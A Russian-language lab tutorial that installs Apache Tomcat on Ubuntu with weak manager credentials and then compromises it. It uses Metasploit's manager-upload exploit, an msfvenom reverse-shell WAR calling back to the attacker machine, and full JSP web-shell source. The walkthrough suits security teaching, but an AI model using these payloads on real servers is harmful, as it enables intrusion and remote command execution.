Apache Tomcat, разработанный Apache Software Foundation, — это популярный веб-сервер и контейнер сервлетов. Первоначально он выступал в качестве демонстрационной платформы для технологий Java Servlet и JavaServer Pages (JSP), которые используются в веб-приложениях Java. В статье покажу, как установить и настроить Tomcat на Ubuntu и как эту машину взломать с помощью уязвимости в загрузке файлов.
Еще по теме: Взлом веб-сервера Windows Apache через SSRF
Как взломать Tomcat
Со временем возможности Tomcat расширились, и он стал поддерживать дополнительные веб-технологии Java. Примечательной особенностью сервера — поддержка развертывания веб-приложений с помощью файлов WAR (Web Application Archive). В этих файлах собраны все компоненты веб-приложения, включая код, страницы и файлы, что упрощает развертывание. Tomcat дает возможность загружать и запускать эти WAR-файлы, позволяя им размещать свои приложения в Интернете.
Помимо WAR-файлов, также поддерживает развертывание JSP-страниц. JSP — это технология, которая позволяет разработчикам создавать динамические веб-страницы с помощью Java. Томкэт может выполнять эти JSP-страницы, что делает его универсальным для размещения широкого спектра веб-приложений.
По умолчанию Tomcat поддерживает использование WAR-файлов и JSP-страниц. Но администраторы могут настроить параметры безопасности и контроля над загрузкой файлов, что повышает общую безопасность сервера.
Стенд для взлома Tomcat
Ниже перечислены машины:
- Целевая машина — Ubuntu (192.168.1.5)
- Атакующая машина — Kali Linux (192.168.1.7)
Установка Tomcat на Ubuntu
Apache Tomcat работает на Java, поэтому на вашем сервере должен быть установлен Java JDK. Его можно установить, выполнив команду:
1 |
apt install openjdk-11-jdk |
Добавьте нового пользователя tomcat с помощью команды:
1 |
useradd -m -U -d /opt/tomcat -s /bin/false tomcat |
Скачайте файл Tomcat tar.gz с официального сайта.
Скачайте последнюю версию с сайта на машину Ubuntu и распакуйте скачанные файлы:
1 2 |
wget https://dlcdn.apache.org/tomcat/tomcat-10/v10.1.20/bin/apache-tomcat-10.1.20.tar.gz tar -xvf apache-tomcat-10.1.20.tar.gz |
Переместите извлеченную папку в каталог /opt/tomcat, дайте права на владение пользователю tomcat и установите разрешение на выполнение файлов.
1 2 3 |
mv apache-tomcat-10.1.20/* /opt/tomcat chown -R tomcat: /opt/tomcat sh -c 'chmod +x /opt/tomcat/bin/*.sh ' |
Создайте файл tomcat.service в каталоге /etc/system/system/ и добавьте в него следующее:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
[Unit] Description=Apache Tomcat After=network.target [Service] Type=forking User=tomcat Group=tomcat Environment=JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64 Environment=CATALINA_PID=/opt/tomcat/tomcat.pid Environment=CATALINA_HOME=/opt/tomcat Environment=CATALINA_BASE=/opt/tomcat Environment="CATALINA_OPTS=-Xms512M -Xmx1024M -server -XX:+UseParallelGC" ExecStart=/opt/tomcat/bin/startup.sh ExecStop=/opt/tomcat/bin/shutdown.sh ExecReload=/bin/kill $MAINPID RemainAfterExit=yes [Install] WantedBy=multi-user.target |
Перезапустите демон systemd, чтобы применить изменения:
1 |
systemctl daemon-reload |
Также включите службу tomcat, чтобы она запускалась при перезагрузке системы:
1 |
systemctl enable --now tomcat |
Проверьте состояние сервера:
1 |
systemctl status tomcat |
Конфигурация сервера
После завершения установки пришло время настроить сервер.
Чтобы создать пароль пользователя admin, измените файл:
1 |
nano /opt/tomcat/conf/tomcat-users.xml |
Добавьте следующий код:
1 2 3 |
<role rolename="admin-gui"/> <role rolename="manager-gui"/> <user username="admin" password="password" roles="admin-gui,manager-gui"/> |
Чтобы включить удаленный доступ для Томкэт Manager, внесите следующие изменения в файл context.xml, находящийся в директории manager и host-manager.
1 2 |
nano /opt/tomcat/webapps/manager/META-INF/context.xml nano /opt/tomcat/webapps/host-manager/META-INF/context.xml |
Удалите следующую строку из обоих файлов:
После внесения изменений перезапустите службу tomcat в Ubuntu.
1 |
systemctl restart tomcat |
Убедитесь, что на машине Ubuntu запущен и работает сервер Томкэт на порту 8080.
Перечисление используя Nmap
После завершения установки и настройки, приступаем к этапу энумерации (перечисления).
Итак, Kali Linux выступает в качестве атакующей машины, и теперь можно выполнить начальное перечисление с использование Nmap (см. Скрытое сканирование с Nmap):
1 |
nmap -p 8080 -sV 192.168.1.5 |
Взлом с помощью Metasploit Framework
Сначала попробуем использовать Metasploit (см. Как пользоваться Metasploit Framework), так как для уязвимости загрузки файлов в Томкэт уже есть готовый эксплойт. Используемый эксплоит:
1 |
exploit/multi/http/tomcat_mgr_upload |
Чтобы запустить эксплойт в Metasploit, выполните команды:
1 2 3 4 5 6 7 8 9 |
use exploit/multi/http/tomcat_mgr_upload set rhosts 192.168.1.5 set report 8080 set httpusername admin set httppassword password show targets set target 2 set payload linux/x86/meterpreter_reverse_tcp exploit |
Из вышеприведенного видно, что обратная оболочка (реверс шелл / обратный шелл) получена и команды могут быть выполнены с помощью оболочки Meterpreter (см. Список команд Meterpreter).
Взлом вручную (обратный шелл)
Описанный выше процесс эксплуатации можно выполнить и вручную. Для этого сначала нужно создать .war-файл с помощью MSFVenom (см. Как использовать MSFVenom).
1 |
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.7 lport=1234 -f war > shell.war |
После создания файла shell.war нужно загрузить его в приложение tomcat manager.
Для доступа к приложению Manager App потребуется базовая аутентификация. Чтобы получить доступ к приложению Manager, в качестве имени пользователя можно указать admin, а в качестве пароля — password.
После входа в приложение Manager App загрузите созданный выше файл shell.war.
После загрузки файла его можно увидеть в разделе загруженных файлов.
Прежде чем получить доступ к загруженному файлу, запустите листенер на порту 1234.
1 |
rlwrap nc -lvnp 1234 |
Нажмите на /shell для доступа к файлу обратного шелла.
Обратная оболочка будет получена на порту 1234.
Взлом вручную (веб-оболочка)
Для получения веб-оболочки можно использовать .war-файл, который будет содержать .jsp-файлы, и после загрузки .war-файла на сервер будет получена веб-оболочка.
Для создания .war, содержащего .jsp-файлы, потребуется установить Java на Kali Linux:
1 |
apt install openjdk-11-jdk |
Теперь создайте каталог webshell, внутри которого будет файл index.jsp:
1 2 3 |
mkdir webshell cd webshell nano index.jsp |
Вставьте следующий код в файл index.jsp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre> |
После создания файла index.jsp можно приступить к созданию пакета, преобразовав каталог в файл .war:
1 |
jar -cvf ../webshell.war * |
После того как файл webshell.war создан, загрузите его в функцию развертывания.
В загруженном каталоге webshell можно открыть страницу index.jsp и получить веб-оболочку.
Альтернативным способом выполнения описанной выше ручной эксплуатации может быть загрузка файла cmd.jsp и создание файла webshell.war с помощью zip.
Файл webshell jsp можно скачать отсюда https://github.com/tennc/webshell/tree/master/fuzzdb-webshell/jsp.
После загрузки файла cmd.jsp, нужно создать файл revshell.war:
1 |
zip -r revshell.war cmd.jsp |
Снова повторите ту же процедуру, о которой говорилось ранее, после загрузки файла revshell.war в функцию развертывания. Веб-шелл будет получен после доступа к файлу:
1 |
http://192.168.1.5:8080/revshell/cmd.jsp |
Заключение
По сути, Apache Томкэт остается предпочтительным выбором для развертывания веб-приложений Java, предлагая сочетание универсальности и безопасности, которое удовлетворяет различные потребности как разработчиков, так и администраторов. Однако из-за неправильной конфигурации он может быть взломан с помощью удаленного выполнение кода.
Спасибо Raj за интересную статью!
ПОЛЕЗНЫЕ ССЫЛКИ: